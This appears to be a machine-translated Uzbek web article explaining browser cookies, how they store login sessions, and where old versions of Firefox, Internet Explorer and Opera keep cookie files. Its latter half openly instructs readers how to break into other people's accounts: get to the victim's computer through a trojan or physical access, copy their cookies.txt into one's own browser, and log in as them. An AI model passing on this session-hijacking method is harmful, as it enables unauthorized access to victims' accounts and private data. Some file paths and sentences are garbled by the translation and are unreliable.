    Muammo cookie mexanizmini (ya'ni ingliz tilidan "cookie" deb tarjima qilingan) joriy etish bilan hal qilindi. Cookie-fayllar ajoyib xususiyatga ega - ular foydalanuvchining qattiq diskida saqlanadi va u erda deyarli cheksiz vaqt davomida saqlanishi mumkin.
    Asosiysi, cookie-fayllar brauzer tomonidan qo'llaniladigan maxsus katalogda saqlanadigan oddiy matnli fayllardir (odatda bu papka Vaqtinchalik Internet fayllari deb ataladi) va siz ularni ushbu katalogga o'tish orqali ko'rishingiz mumkin (IE brauzeriga tezkor kirish Asboblar orqali amalga oshiriladi. menyu bandlari -> Internet parametrlari -> Vaqtinchalik Internet fayllari -> Sozlamalar -> Ko'rish
    Ba'zi cookie qiymatlari faqat bitta seans uchun saqlanishi mumkin va brauzer yopilganda o'chiriladi. Muayyan vaqtga o'rnatilgan boshqalari faylga yoziladi. Umuman olganda, ushbu fayl "cookies.txt" deb ataladi (lekin ularning bir nechtasi bo'lishi mumkin) va kompyuterda o'rnatilgan brauzerning ishchi katalogida joylashgan.
    boshqa so'zlar bilan aytganda
    Cookie - bu server brauzerga yuboradigan kichik matnli ma'lumot. Cookie-fayllarning o'zi hech narsa qila olmaydi, lekin foydalanuvchi server bilan bog'langanda (brauzer qatorida uning manzilini yozadi), server cookie-fayllardagi ma'lumotlarni o'qishi va uning tahlili asosida har qanday harakatlarni bajarishi mumkin. Misol uchun, Internet orqali biror narsaga ruxsat berilgan taqdirda, login va parol sessiya davomida cookie fayllarida saqlanadi, bu foydalanuvchi har bir parol bilan himoyalangan hujjatni so'rashda ularni qayta kiritmaslik imkonini beradi.
    Agar siz ushbu mavzu orqali boshqa odamlarning parol bilan himoyalangan akkauntlariga kirishga harakat qilmoqchi bo'lsangiz, jabrlanuvchi ishlaydigan kompyuterga kirish imkoniga ega bo'lsangiz, masofadan turib (troyan) yoki uni ochiqchasiga flesh-diskga nusxalash orqali yo'l topishingiz kerak. , ushbu cookies.txt faylidan nusxa oling va uni o'zingizdagi (xuddi shu) brauzeringizga almashtiring. Keyinchalik, siz qiziqqan hisob joylashgan kerakli saytga borasiz va siz avtomatik ravishda kirish huquqiga ega bo'lasiz. Ammo shuni yodda tutingki, agar jabrlanuvchi ishni tugatgandan so'ng hisobdan chiqishni (masalan, pochtadan) bosgan bo'lsa, u holda seans haqidagi ma'lumotlar cookie-fayllarda o'chiriladi va siz hech qanday kirish huquqiga ega bo'lmaysiz.
    Mozilla Firefox cookie-fayllarni foydalanuvchi profilida, C faylida saqlaydi: Hujjatlar va SozlamalarUsernameApplication DataMozillaFirefoxProfilescookies.txt
    Internet Explorer ushbu cookie-fayllarni alohida matnli fayllar sifatida C: Documents and Settings papkasida saqlaydi UsernameCookies
    Opera cookie-fayllarni C faylida saqlaydi: Hujjatlar va sozlamalarUsernameApplication DataOperaOperaprofilecookies4.dat



    Sizga maqola yoqdimi? Do'stlaringizga ulashing: